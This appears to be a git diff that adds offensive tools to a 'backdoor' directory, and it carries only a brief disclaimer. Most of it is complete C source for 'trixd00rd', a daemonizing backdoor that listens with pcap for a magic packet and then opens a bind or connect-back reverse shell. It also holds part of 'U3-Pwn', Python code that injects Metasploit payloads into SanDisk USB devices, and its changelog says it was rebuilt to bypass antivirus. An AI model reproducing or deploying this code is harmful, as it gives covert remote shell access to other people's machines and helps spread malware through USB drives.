alloc_buff(sizeof(shell_t)); + + return ctrl; +} + + +/* default settings for ctrl_t {} - prior to our complete definition */ +ctrl_t *set_ctrl_defaults(ctrl_t *ctrl) +{ + ctrl->packet->allowed_host = DEF_HOST; + ctrl->packet->type = DEF_TYPE; + ctrl->packet->m_payload = DEF_PAYLOAD; + ctrl->packet->b_payload = DEF_BYE_PAYLOAD; + ctrl->shell->banner = BANNER_ON; + ctrl->shell->mode = DEF_MODE; + ctrl->shell->port = DEF_PORT; + ctrl->verbose = QUIET; + + return ctrl; +} + + +/* begin of trixd00rd */ +void start_trixd00rd(ctrl_t *ctrl) +{ + __VERBOSE_PREPARE; + prepare_sniffer(ctrl); + + __VERBOSE_WATCH; + if (watch_packet(ctrl) == IS_BYEBYE_PACKET) { + end_trixd00rd(ctrl); + } + + return; +} + + +/* end of trixd00rd */ +void end_trixd00rd(ctrl_t *ctrl) +{ + __VERBOSE_END; + pcap_close(ctrl->sniffer->handle); + free_trixd00rd(ctrl); + + return; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/server/src/daemon.c b/backdoor/trixd00r/source/server/src/daemon.c new file mode 100644 index 0000000..46ec3ba --- /dev/null +++ b/backdoor/trixd00r/source/server/src/daemon.c @@ -0,0 +1,70 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- daemonize */ +void daemonize() +{ + unsigned char i = 0; + pid_t pid = 0; + + + if ((pid = fork()) < 0) { + print_error(ERR_GEN); + } else if (pid) { + __EXIT_SUCCESS; + } + + /* child 1 continues become session leader */ + if (setsid() < 0) { + __EXIT_FAILURE; + } + xsignal(SIGHUP, SIG_IGN); + if ((pid = fork()) < 0) { + print_error(ERR_GEN); + } else if (pid) { + __EXIT_SUCCESS; + } + /* child 2 continues and close file descriptors */ + for (i = 0; i < MAXFD; i++) { + xclose(i); + } + + return; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/server/src/error.c b/backdoor/trixd00r/source/server/src/error.c new file mode 100644 index 0000000..1eff108 --- /dev/null +++ b/backdoor/trixd00r/source/server/src/error.c @@ -0,0 +1,109 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- [options]\n\ + \noptions:\n\n\ + -i - interface to use\n\ + -t - magic packet type - ? to list all (default TCP SYN)\n\ + -p - magic payload string to trigger shell (default opensesame)\n\ + -s - shell mode - ? to list all (default TCP bind port)\n"); + printf(" -b - port for shell (default 31337)\n\ + -a - allow only this host to talk to trixd00rd (default ANY)\n\ + -c - connect back host\n\ + -z - magic payload string to quit trixd00rd (default byebye)\n\ + -d - daemonize trixd00rd and put in background\n\ + -n - send no welcome and bye banner\n"); + printf(" -x - use ssl (only available in priv8 version!)\n\ + -v - verbose mode (default quiet)\n\ + -V - show trixd00rd version\n\ + -H - show help and usage\n"); + + return; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/server/src/shell.c b/backdoor/trixd00r/source/server/src/shell.c new file mode 100644 index 0000000..fc955c6 --- /dev/null +++ b/backdoor/trixd00r/source/server/src/shell.c @@ -0,0 +1,360 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- + + +static void tcp_bind_shell(ctrl_t *); +static void tcp_connback_shell(ctrl_t *); +static void udp_bind_shell(ctrl_t *); +static void udp_connback_shell(ctrl_t *); + + +/* build welcome and bybebye banner and send to the client */ +void send_banner(shell_t *shell, unsigned char type) +{ + char banner[920]; + + + if (type == _BAN_WELCOME) { + snprintf(banner, sizeof(banner), "%s%s", BAN_WELCOME1, BAN_WELCOME2); + } else { + snprintf(banner, sizeof(banner), "%s", BAN_BYE); + } + + xsendto(shell->cfd, banner, strlen(banner) + 1, 0, + (struct sockaddr *) &shell->srv, sizeof(shell->srv)); + + return; +} + + +/* print available shell modes */ +void print_shell_modes() +{ + unsigned char i = 0; + const char *descr[_NUM_SHELL_MODES] = { + TCP_BIND_PORT, TCP_CONN_BACK, UDP_BIND_PORT, UDP_CONN_BACK + }; + + + printf("[+] "BLUE"available shell modes"NORM"\n"); + for (i = 0; i < _NUM_SHELL_MODES; i++) { + printf("--- %u [%s]\n", i, descr[i]); + } + + return; +} + + +/* bind shell on tcp port */ +static void tcp_bind_shell(ctrl_t *ctrl) +{ + const int opt = 1; + socklen_t len = 0; + shell_t *shell = (shell_t *) ctrl->shell; + char buff[SOCKBUF]; + + + __VERBOSE_BIND_TCP; + + /* create socket, set desired socket option and fill in sockaddr_in {} */ + shell->lfd = xsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + xsetsockopt(shell->lfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); + xmemset(&shell->srv, 0x00, sizeof(shell->srv)); + shell->srv.sin_family = AF_INET; + shell->srv.sin_addr.s_addr = htonl(INADDR_ANY); + shell->srv.sin_port = htons(shell->port); + + /* bind shell on given port, go to listen mode and accept connections */ + xbind(shell->lfd, (struct sockaddr *) &shell->srv, sizeof(shell->srv)); + xlisten(shell->lfd, 1024); + len = sizeof(shell->cli); + shell->cfd = xaccept(shell->lfd, (struct sockaddr *) &shell->cli, &len); + + __VERBOSE_CONNECT_FROM; + + /* exec evil shell */ + if ((shell->pid = fork()) == 0) { + xdup2(shell->cfd, 0); + xdup2(shell->cfd, 1); + xdup2(shell->cfd, 2); + sleep(1); + __SEND_BANNER(_BAN_WELCOME); + execl(SHELL, SHELL, NULL); + __EXIT_SUCCESS; + } + + /* we are done, so we can close descriptors */ + xclose(shell->lfd); + xclose(shell->cfd); + + return; +} + + +/* connect back with shell on tcp port */ +static void tcp_connback_shell(ctrl_t *ctrl) +{ + socklen_t len = 0; + shell_t *shell = (shell_t *) ctrl->shell; + + + __VERBOSE_CONNBACK_TCP; + + /* create socket and fill in sockaddr_in {} */ + shell->cfd = xsocket(AF_INET, SOCK_STREAM, 0); + xmemset(&shell->cli, 0x00, sizeof(shell->cli)); + shell->cli.sin_family = AF_INET; + shell->cli.sin_addr.s_addr = inet_addr(shell->host); + shell->cli.sin_port = htons(shell->port); + len = sizeof(shell->cli); + + /* connect back to client */ + xconnect(shell->cfd, (const struct sockaddr *) &shell->cli, len); + + __VERBOSE_CONNECT_TO; + + /* exec evil shell */ + if ((shell->pid = fork()) == 0) { + xdup2(shell->cfd, 0); + xdup2(shell->cfd, 1); + xdup2(shell->cfd, 2); + sleep(1); + __SEND_BANNER(_BAN_WELCOME); + execl(SHELL, SHELL, NULL); + __EXIT_SUCCESS; + } + + /* we are done, so we can close descriptors */ + xclose(shell->cfd); + + return; +} + + +/* bind shell on udp port */ +static void udp_bind_shell(ctrl_t *ctrl) +{ + const int opt = 1; + int sock = 0, _pipe = 0, fd[2], fd2[2], highfd = 0; + fd_set readfds; + socklen_t len = 0; + char buffer[SOCKBUF]; + shell_t *shell = (shell_t *) ctrl->shell; + + + __VERBOSE_BIND_UDP; + + /* create connection socket - remember we build a pipe because of UDP, so we + * don't use direct listening socket - just read the fuckin c0de */ + shell->cfd = xsocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + xsetsockopt(shell->cfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); + + /* fill in sockaddr_in {} */ + xmemset(&shell->srv, 0x00, sizeof(shell->srv)); + shell->srv.sin_family = AF_INET; + shell->srv.sin_addr.s_addr = htonl(INADDR_ANY); + shell->srv.sin_port = htons(shell->port); + len = sizeof(shell->srv); + + /* bind on given port */ + xbind(shell->cfd, (struct sockaddr *) &shell->srv, len); + + /* banner crap */ + recvfrom(shell->cfd, buffer, sizeof(buffer), 0, + (struct sockaddr *) &shell->srv, &len); + __SEND_BANNER(_BAN_WELCOME); + + /* build the pipe */ + FD_ZERO(&readfds); + xpipe(fd); + xpipe(fd2); + + /* exec evil shell - child process */ + if ((shell->pid = fork()) == 0) { + xclose(fd[0]); + xclose(fd2[1]); + xdup2(fd2[0], 0); + xdup2(fd[1], 1); + xdup2(fd[1], 2); + sleep(1); + execl(SHELL, SHELL, NULL); + xclose(fd[1]); + xclose(fd[0]); + __EXIT_SUCCESS; + /* parent process */ + } else if (shell->pid > 0) { + xclose(fd[1]); + xclose(fd2[0]); + + /* set socket to non blocking */ + fcntl(shell->cfd, F_SETFL, O_NONBLOCK); + fcntl(fd[0], F_SETFL, O_NONBLOCK); + + highfd = (shell->cfd > fd[0]) ? shell->cfd: fd[0]; + + /* read and write back from pipe - client is connected already */ + for ( ; ; ) { + FD_SET(shell->cfd, &readfds); + FD_SET(fd[0], &readfds); + xmemset(&buffer, 0x00, sizeof(buffer)); + xselect(highfd + 1, &readfds, NULL, NULL, NULL); + sock = recvfrom(shell->cfd, buffer, sizeof(buffer), 0, + (struct sockaddr *) &shell->srv, &len); + _pipe = read(fd[0], buffer, sizeof(buffer)); + sock = write(fd2[1], buffer, sock); + if (_pipe > 0) { + buffer[_pipe] = 0; + xsendto(shell->cfd, buffer, _pipe, 0, + (struct sockaddr *) &shell->srv, len); + } + if ((!_pipe) || (!sock)) { + break; + } + } + + /* we are done, so we can close descriptors */ + xclose(fd[0]); + xclose(fd2[1]); + xclose(shell->cfd); + } + + return; +} + + +/* connect back with shell on udp port */ +static void udp_connback_shell(ctrl_t *ctrl) +{ + int sock = 0, _pipe = 0, fd[2], fd2[2], highfd = 0; + fd_set readfds; + socklen_t len = 0; + char buffer[SOCKBUF]; + shell_t *shell = (shell_t *) ctrl->shell; + + + __VERBOSE_CONNBACK_UDP; + + /* create socket and fill in sockaddr_in {} */ + shell->cfd = xsocket(AF_INET, SOCK_DGRAM, 0); + xmemset(&shell->cli, 0x00, sizeof(shell->srv)); + shell->srv.sin_family = AF_INET; + shell->srv.sin_addr.s_addr = inet_addr(shell->host); + shell->srv.sin_port = htons(shell->port); + len = sizeof(shell->srv); + + FD_ZERO(&readfds); + + /* connect back to client and send welcome banner */ + xconnect(shell->cfd, (struct sockaddr *) &shell->srv, len); + __SEND_BANNER(_BAN_WELCOME); + + /* build the pipe */ + xpipe(fd); + xpipe(fd2); + + __VERBOSE_CONNECT_TO; + + /* exec evil shell - child process */ + if ((shell->pid = fork()) == 0) { + xclose(fd[0]); + xclose(fd2[1]); + xdup2(fd2[0], 0); + xdup2(fd[1], 1); + xdup2(fd[1], 2); + sleep(1); + __SEND_BANNER(_BAN_WELCOME); + execl(SHELL, SHELL, NULL); + xclose(fd[1]); + xclose(fd[0]); + __EXIT_SUCCESS; + /* parent process */ + } else if (shell->pid > 0) { + xclose(fd[1]); + xclose(fd2[0]); + + fcntl(shell->cfd, F_SETFL, O_NONBLOCK); + fcntl(fd[0], F_SETFL, O_NONBLOCK); + + highfd = (shell->cfd > fd[0]) ? shell->cfd: fd[0]; + + /* read and write back from pipe - client got connection already */ + for ( ; ; ) { + FD_SET(shell->cfd, &readfds); + FD_SET(fd[0], &readfds); + xmemset(&buffer, 0x00, sizeof(buffer)); + xselect(highfd + 1, &readfds, NULL, NULL, NULL); + sock = recvfrom(shell->cfd, buffer, sizeof(buffer), 0, + (struct sockaddr *) &shell->srv, &len); + _pipe = read(fd[0], buffer, sizeof(buffer)); + sock = write(fd2[1], buffer, sock); + + if (_pipe > 0) { + buffer[_pipe] = 0; + xsendto(shell->cfd, buffer, _pipe, 0, + (struct sockaddr *) &shell->srv, len); + } + if ((!_pipe) || (!sock)) { + break; + } + } + + /* we are done, so we can close descriptors */ + xclose(fd[0]); + xclose(fd2[1]); + xclose(shell->cfd); + } + + return; +} + + +/* see above */ +static void (*fparr[]) (ctrl_t *ctrl) = { + tcp_bind_shell, tcp_connback_shell, udp_bind_shell, udp_connback_shell +}; + + +/* either connect back or bind port and send shell */ +void open_shell(ctrl_t *ctrl) +{ + fparr[ctrl->shell->mode](ctrl); + + return; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/server/src/signals.c b/backdoor/trixd00r/source/server/src/signals.c new file mode 100644 index 0000000..337d3b6 --- /dev/null +++ b/backdoor/trixd00r/source/server/src/signals.c @@ -0,0 +1,101 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- +#include +#include + + +/* signal() predates POSIX, therefore we use wrapper for sigaction(). + * ripped from UNPv1. thx to W. R. STEVENS (R.I.P.) */ +sigfunc *xsignal(int signo, sigfunc *func) +{ + struct sigaction act, oact; + + + act.sa_handler = func; + sigemptyset(&act.sa_mask); + act.sa_flags = 0; + + if (signo == SIGALRM) { + #ifdef SA_INTERRUPT + /* SUN OS */ + act.sa_flags |= SA_INTERRUPT; + #endif + } else { + #ifdef SA_RESTART + /* BSD */ + act.sa_flags |= SA_RESTART; + #endif + } + if (sigaction(signo, &act, &oact) < 0) { + return SIG_ERR; + } + + return oact.sa_handler; +} + + +/* we don't want to have zombies */ +void sig_chld() +{ + pid_t pid = 0; + int stat = 0; + + + if ((pid = waitpid(-1, &stat, WNOHANG)) < 0) { + if (errno != ECHILD) { + print_error(ERR_GEN); + } + } + + return; +} + + +/* we only want to interrupt the connect() - to get EINTR and then assign + * ETIMEDOUT to errno */ +void connect_alarm() +{ + return; +} + + +/* cleanup for SIGINT/SIGTERM */ +void cleanup() +{ + return; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/server/src/sniffer.c b/backdoor/trixd00r/source/server/src/sniffer.c new file mode 100644 index 0000000..ee846b3 --- /dev/null +++ b/backdoor/trixd00r/source/server/src/sniffer.c @@ -0,0 +1,283 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_-allowed_host, DEF_HOST, strlen(DEF_HOST)) != 0) { + p = gethostbyname(packet->allowed_host); + xinet_ntop(AF_INET, p->h_addr_list[0], packet->dst_host, + sizeof(packet->src_host)); + } else { + xinet_ntop(AF_INET, &packet->ip->src.s_addr, packet->dst_host, + sizeof(packet->dst_host)); + } + + xinet_ntop(AF_INET, &packet->ip->src.s_addr, packet->src_host, + sizeof(packet->dst_host)); + + return; +} + + +/* is it our magic packet or not? */ +static unsigned char is_magic_packet(packet_t *packet) +{ + /* if option was used, check if host is allowed to connect */ + is_allowed_host(packet); + + /* if set payload equals sniffed payload, then we got magic packet */ + if (strcmp((const char *) packet->src_host, packet->dst_host) == 0) { + if (strcmp(packet->m_payload, packet->s_payload) == 0) { + if (packet->ip->ip_p == IPPROTO_TCP) { + switch (packet->type) { + case _TCP_SYN_TYPE: + if (packet->tcp->th_flags & TH_SYN) { + return IS_MAGIC_PACKET; + } + break; + case _TCP_ACK_TYPE: + if (packet->tcp->th_flags & TH_ACK) { + return IS_MAGIC_PACKET; + } + break; + case _TCP_RST_TYPE: + if (packet->tcp->th_flags & TH_RST) { + return IS_MAGIC_PACKET; + } + break; + case _TCP_PSH_TYPE: + if (packet->tcp->th_flags & TH_PUSH) { + return IS_MAGIC_PACKET; + } + break; + case _TCP_URG_TYPE: + if (packet->tcp->th_flags & TH_URG) { + return IS_MAGIC_PACKET; + } + break; + case _TCP_FIN_TYPE: + if (packet->tcp->th_flags & TH_FIN) { + return IS_MAGIC_PACKET; + } + break; + } + } else if (packet->ip->ip_p == IPPROTO_UDP) { + switch (packet->type) { + case _UDP_TYPE: + return IS_MAGIC_PACKET; + break; + } + } + } else if (strcmp(packet->b_payload, packet->s_payload) == 0) { + return IS_BYEBYE_PACKET; + } + } + + return IS_NOT_MAGIC_PACKET; +} + + +/* define payload */ +static void define_payload(packet_t *packet, unsigned int size) +{ + packet->s_payload = (char *) (packet->bytes + SIZE_ETHERNET + + packet->size_ip + size); + + return; +} + + +/* define udp header and size */ +static unsigned int define_udphdr(packet_t *packet) +{ + packet->udp = (udp_t *) (packet->bytes + SIZE_ETHERNET + packet->size_ip); + packet->size_udp = 8; + + return packet->size_udp; +} + + +/* define tcp header and size */ +static unsigned int define_tcphdr(packet_t *packet) +{ + packet->tcp = (tcp_t *) (packet->bytes + SIZE_ETHERNET + packet->size_ip); + packet->size_tcp = TH_OFF(packet->tcp) * 4; + + return packet->size_tcp; +} + + +/* define ip header and size */ +static void define_iphdr(packet_t *packet) +{ + packet->ip = (ip_t *) (packet->bytes + SIZE_ETHERNET); + packet->size_ip = IP_HL(packet->ip) * 4; + + return; +} + + +/* detemerine and define protocols (headers and size) */ +static void define_packet(packet_t *packet) +{ + int size = 0; /* header size */ + + + /* we need always ip header */ + define_iphdr(packet); + + /* determine protocol */ + switch (packet->ip->ip_p) { + case IPPROTO_TCP: + size = define_tcphdr(packet); + break; + case IPPROTO_UDP: + size = define_udphdr(packet); + break; + case IPPROTO_ICMP: + /* todo */ + break; + } + + /* we need always payload */ + define_payload(packet, size); + + return; +} + + +/* define any headers, test for magic packet and open shell or break the loop */ +static void got_packet(unsigned char *args, const struct pcap_pkthdr *header, + const unsigned char *bytes) +{ + unsigned char magic = 0; + ctrl_t *ctrl = (ctrl_t *) args; + sniffer_t *sniffer = (sniffer_t *) ctrl->sniffer; + packet_t *packet = (packet_t *) ctrl->packet; + + + /* ignore this */ + header = NULL; + packet->bytes = bytes; + + /* define packet and check for magic packet */ + define_packet(packet); + magic = is_magic_packet(packet); + + /* either shell or bye bye */ + if (magic == IS_MAGIC_PACKET) { + __VERBOSE_MAGIC; + open_shell(ctrl); + } else if (magic == IS_BYEBYE_PACKET) { + __VERBOSE_BYEBYE; + pcap_breakloop(sniffer->handle); + } + + return; +} + + +/* sniff magic packet */ +unsigned char watch_packet(ctrl_t *ctrl) +{ + unsigned char *args = (unsigned char *) ctrl; + sniffer_t *sniffer = (sniffer_t *) ctrl->sniffer; + + + /* watch packet and take desired actions as long as we don't hit + * pcap_breakloop() - this indicates, that we got a IS_BYEBYE_PACKET, so we + * have to clean, free any memory and exit */ + if (pcap_loop(sniffer->handle, -1, got_packet, args) == -2) { + return IS_BYEBYE_PACKET; + } + + return IS_NOT_MAGIC_PACKET; +} + + +/* prepare sniffer, all needed by pcap */ +void prepare_sniffer(ctrl_t *ctrl) +{ + sniffer_t *sniffer = (sniffer_t *) ctrl->sniffer; + + + xpcap_lookupnet(sniffer->iface, &sniffer->net, &sniffer->mask); + sniffer->handle = xpcap_open_live(sniffer->iface, BUFSIZ, 0, 1000); + + return; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/server/src/trixd00rd.c b/backdoor/trixd00r/source/server/src/trixd00rd.c new file mode 100644 index 0000000..2777b72 --- /dev/null +++ b/backdoor/trixd00r/source/server/src/trixd00rd.c @@ -0,0 +1,125 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- + + +/* let's go... */ +int main(int argc, char *argv[]) +{ + int c = 0; + ctrl_t *ctrl = NULL; + + + /* banner is very important */ + banner(); + check_argc(argc); + ctrl = alloc_structs(); + ctrl = set_ctrl_defaults(ctrl); + + while ((c = getopt(argc, argv, "i:t:p:s:b:a:c:z:dnxvVH")) != -1) { + switch (c) { + case 'i': + check_uid(ctrl); + ctrl->sniffer->iface = optarg; + break; + case 't': + check_pkt_type(ctrl, optarg); + ctrl->packet->type = ATOI(optarg); + break; + case 'p': + ctrl->packet->m_payload = optarg; + break; + case 's': + check_shell_mode(ctrl, optarg); + ctrl->shell->mode = (unsigned char) ATOI(optarg); + break; + case 'b': + check_port(ctrl, ATOI(optarg)); + ctrl->shell->port = ATOI(optarg); + break; + case 'a': + check_host(optarg); + ctrl->packet->allowed_host = convert_host(optarg); + break; + case 'c': + check_host(optarg); + ctrl->shell->host = convert_host(optarg); + break; + case 'z': + ctrl->packet->b_payload = optarg; + break; + case 'd': + ctrl->daemon = DAEMON; + break; + case 'n': + ctrl->shell->banner = BANNER_OFF; + break; + case 'x': + ctrl->ssl = SSL; + break; + case 'v': + ctrl->verbose = VERBOSE; + break; + case 'V': + puts(VERSION); + __EXIT_SUCCESS; + break; + case 'H': + usage(); + __EXIT_SUCCESS; + break; + default: + __EXIT_FAILURE; + } + } + + /* quick checks of arguments and values */ + __VERBOSE_ARGS; + check_args(ctrl); + + /* install signal handlers here */ + install_signals(); + + /* whole action starts here my darling */ + start_trixd00rd(ctrl); + + return 0; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/server/src/wrapper.c b/backdoor/trixd00r/source/server/src/wrapper.c new file mode 100644 index 0000000..62040ab --- /dev/null +++ b/backdoor/trixd00r/source/server/src/wrapper.c @@ -0,0 +1,357 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- + + +/* NOTHING TO SAY ABOUT WRAPPER FUNCTIONS; READ THE RELEVANT MANPAGES */ + +void *xmalloc(size_t size) +{ + void *buff; + + + if ((buff = malloc(size)) == NULL) { + print_error(ERR_GEN); + } + + return buff; +} + + +void *xmemset(void *s, int c, size_t n) +{ + if (!(s = memset(s, c, n))) { + print_error(ERR_GEN); + } + + return s; +} + + +void *xmemcpy(void *dest, const void *src, size_t n) +{ + dest = memcpy(dest, src, n); + + if (dest == NULL) { + print_error(ERR_GEN); + } + + return dest; +} + + +void *alloc_buff(unsigned int size) +{ + void *buff = NULL; + + + buff = xmalloc(size); + buff = xmemset(buff, 0x00, size); + + return buff; +} + + +void xclose(int fd) +{ + int x = 0; + + + x = close(fd); + + if (x != 0) { + print_error(ERR_CLOSE); + } + + return; +} + + +int xdup2(int oldfd, int newfd) +{ + if (dup2(oldfd, newfd) != -1) { + return newfd; + } else { + print_error(ERR_GEN); + } + + return -1; +} + + +void xselect(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, + struct timeval *timeout) +{ + int x = 0; + + + x = select(nfds, readfds, writefds, exceptfds, timeout); + + if (x == -1) { + print_error(ERR_GEN); + } + + return; +} + + +void xpipe(int *pipefd) +{ + int x = 0; + + + x = pipe(pipefd); + + if (x < 0) { + print_error(ERR_GEN); + } + + return; +} + + +struct hostent *xgethostbyname(const char *name) +{ + struct hostent *hp; + + if ((hp = gethostbyname(name)) == NULL) { + print_error(ERR_HOST); + } + + return hp; +} + + +int xsocket(int domain, int type, int protocol) +{ + int sockfd = 0; + + + sockfd = socket(domain, type, protocol); + + if (sockfd == -1) { + print_error(ERR_NET); + } + + return sockfd; +} + + +void xconnect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) +{ + int x = 0; + + + x = connect(sockfd, addr, addrlen); + + if (x < 0) { + print_error(ERR_NET); + } + + return; +} + + +void xsendto(int sockfd, const void *buf, size_t len, int flags, + const struct sockaddr *dst, socklen_t addrlen) +{ + ssize_t x = 0; + + + x = sendto(sockfd, buf, len, flags, dst, addrlen); + + if (x == -1) { + print_error(ERR_NET); + } + + return; +} + + +ssize_t xrecvfrom(int sockfd, void *buf, size_t len, int flags, + struct sockaddr *src, socklen_t *addrlen) +{ + + ssize_t nreceived = 0; + char *p = buf; + + + while (len > 0) { + nreceived = recvfrom(sockfd, p, len, flags, src, addrlen); + if (nreceived < 0 && errno == EINTR) { + continue; + } + if (nreceived <= 0) { + break; + } + len -= nreceived; + p += nreceived; + } + *p = 0x00; + + return nreceived; +} + + +void xsetsockopt(int sockfd, int level, int optname, const void *optval, + socklen_t optlen) +{ + int x = 0; + + + x = setsockopt(sockfd, level, optname, optval, optlen); + + if (x != 0) { + print_error(ERR_NET); + } + + return; +} + + +void xinet_ntop(int af, const void *src, char *dst, socklen_t len) +{ + const char *p = NULL; + + + p = inet_ntop(af, src, dst, len); + + if (p == NULL) { + print_error(ERR_NET); + } + + return; +} + + +void xbind(int sockfd, const struct sockaddr *addr, socklen_t len) +{ + int x = 0; + + + x = bind(sockfd, addr, len); + + if (x != 0) { + print_error(ERR_NET); + } + + return; +} + + +void xlisten(int sockfd, int backlog) +{ + int x = 0; + + + x = listen(sockfd, backlog); + + if (x != 0) { + x = 1; + print_error(ERR_NET); + } + + return; +} + + +int xaccept(int sockfd, struct sockaddr *addr, socklen_t *len) +{ + int x = 0; + + + x = accept(sockfd, addr, len); + + if (x < 0) { + x = 1; + print_error(ERR_NET); + } + + return x; +} + + +void xpcap_lookupnet(const char *dev, bpf_u_int32 *net, bpf_u_int32 *mask) +{ + char errbuff[PCAP_ERRBUF_SIZE]; + int x = 0; + + + x = pcap_lookupnet(dev, net, mask, errbuff); + + if (x < 0) { + print_error(ERR_PCAP_LOOKUPNET); + } + + return; +} + + +pcap_t *xpcap_open_live(const char *dev, int snaplen, int promisc, int to_ms) +{ + char errbuff[PCAP_ERRBUF_SIZE]; + pcap_t *handle = NULL; + + + handle = pcap_open_live(dev, snaplen, promisc, to_ms, errbuff); + + if (handle == NULL) { + print_error(ERR_PCAP_OPEN); + } + + return handle; +} + + +char *convert_host(char *host) +{ + static char buff[128]; + struct hostent *hp = NULL; + + + hp = xgethostbyname(host); + + if (hp != NULL) { + host = (char *) inet_ntop(AF_INET, hp->h_addr_list[0], buff, sizeof(buff)); + } + + if (host == NULL) { + print_error(ERR_NET); + } + + return host; +} + +/* EOF */ diff --git a/backdoor/u3-pwn/README.md b/backdoor/u3-pwn/README.md new file mode 100644 index 0000000..a2e84c7 --- /dev/null +++ b/backdoor/u3-pwn/README.md @@ -0,0 +1,13 @@ +# Description +U3-Pwn is a tool designed to automate injecting executables to Sandisk smart usb +devices with default U3 software install. This is performed by removing the +original iso file from the device and creating a new iso with autorun features. + +# Author +Zy0d0x + +# Disclaimer +We hereby emphasize, that the hacking related stuff on +[nullsecurity.net](http://nullsecurity.net) is only for education purposes. +We are not responsible for any damages. You are responsible for your own +actions. diff --git a/backdoor/u3-pwn/release/u3-pwn-2.0.tar.gz b/backdoor/u3-pwn/release/u3-pwn-2.0.tar.gz new file mode 100644 index 0000000..a61f61c Binary files /dev/null and b/backdoor/u3-pwn/release/u3-pwn-2.0.tar.gz differ diff --git a/backdoor/u3-pwn/source/Required b/backdoor/u3-pwn/source/Required new file mode 100755 index 0000000..28f646f --- /dev/null +++ b/backdoor/u3-pwn/source/Required @@ -0,0 +1,56 @@ +################################################################################ +# ____ _ __ # +# ___ __ __/ / /__ ___ ______ ______(_) /___ __ # +# / _ \/ // / / (_- 0: + if deviceName.startswith("sd"): + print "\n Partition Found: /dev/%s1" % deviceName + time.sleep(2) + + +except KeyboardInterrupt: + print'\n[-]Keyboard Interrupted Exiting' + time.sleep(2) + sys.exit(0) +except Exception, error: + print '[-]Something went wrong, printing error message..' + print error + time.sleep(2) + sys.exit(0) + + + +try: + banner.print_banner() + dev = deviceName + if dev.startswith('sda'): + print 'No Devices Found, Returning To Menu' + time.sleep(2) + else: + banner.print_banner() + print '\nCreating a new partition of 8058880 bytes on /dev/%s\n' % deviceName + child1 = pexpect.spawn('u3-tool -v -p 8058880 /dev/' + deviceName) + child1.sendline('y') + time.sleep(5) + print'\nPartitioning completed on /dev/%s' % deviceName + banner.print_banner() + print'\nInserting new iso to virtual rom partition on /dev/%s\n' % deviceName + subprocess.Popen('u3-tool -l "backup/origU3/U3 System.iso" /dev/%s' % (deviceName), shell=True).wait() + banner.print_banner + print '\nSuccessfully backed up /dev/%s' % deviceName + time.sleep(2) + +except Exception, error: + print '[-]Something went wrong, printing error message..' + print error + time.sleep(2) + sys.exit(0) + diff --git a/backdoor/u3-pwn/source/src/banner.py b/backdoor/u3-pwn/source/src/banner.py new file mode 100755 index 0000000..ed3fe2a --- /dev/null +++ b/backdoor/u3-pwn/source/src/banner.py @@ -0,0 +1,26 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +try: + import os +except ImportError, error: + print'\n[-]Failed To Import Module\n' + print error + + +def print_banner(): + os.system('clear') + print ''' + + ~ .__ \xc2\xb0.__ 0 o ^ .__ \xc2\xb0__ `\xc2\xb4 + \xc2\xb0____) __ __| | | \xc2\xb0| ______\xc2\xb0____ 0 ____ __ _________|__|/ |_ ___.__. + / \\| | \xc2\xb0\\ |\xc2\xb0| | \xc2\xb0/ ___// __ \\_/ ___\\| | \xc2\xb0\\_ __ \\ o\\ __< | | +| o\xc2\xb0| \\ | / |_| |__\\___ \\ ___/\\ \xc2\xb0\\___| o| /| | \\/ || |\xc2\xb0 \\___ O| +|___| /____/|____/____/____ \xc2\xb0>\\___ >\\___ >____/ |__|\xc2\xb0 |__||__| / ____| +`\xc2\xb4\xc2\xb4`\xc2\xb4\\/\xc2\xb4`nullsecurity team`\xc2\xb4\\/`\xc2\xb4\xc2\xb4`\xc2\xb4\\/`\xc2\xb4``\xc2\xb4\\/ ``\xc2\xb4```\xc2\xb4```\xc2\xb4\xc2\xb4\xc2\xb4\xc2\xb4`\xc2\xb4``0_o\\/\xc2\xb4\xc2\xb4`\xc2\xb4\xc2\xb4 + + ************************************************************************ + U3-Pwn Metasploit Payload Injection Tool For SanDisk Devices + ************************************************************************ +''' + + diff --git a/backdoor/u3-pwn/source/src/changelog.py b/backdoor/u3-pwn/source/src/changelog.py new file mode 100755 index 0000000..1cb9ef0 --- /dev/null +++ b/backdoor/u3-pwn/source/src/changelog.py @@ -0,0 +1,28 @@ +try: + import banner + import os + import sys +except ImportError: + print'\n[-]Failed To Import Module' + +definepath = os.getcwd() +sys.path.append('%s/src/' % definepath) + +banner.print_banner() + +print 'U3-Pwn Change Log' +print''' +=================================================================================== +Rebult most of the tool, added more user imput sanitization (cheers Shadow Master) +Recompiled shellcodeexec to bypass av agian. +=================================================================================== + + + + + + + +''' + +raw_input('Press Enter To Return To Menu..') diff --git a/backdoor/u3-pwn/source/src/choice.py b/backdoor/u3-pwn/source/src/choice.py new file mode 100755 index 0000000..c1ca07d --- /dev/null +++ b/backdoor/u3-pwn/source/src/choice.py @@ -0,0 +1,53 @@ +try: + import subprocess + import pexpect + import time + import os + import sys + 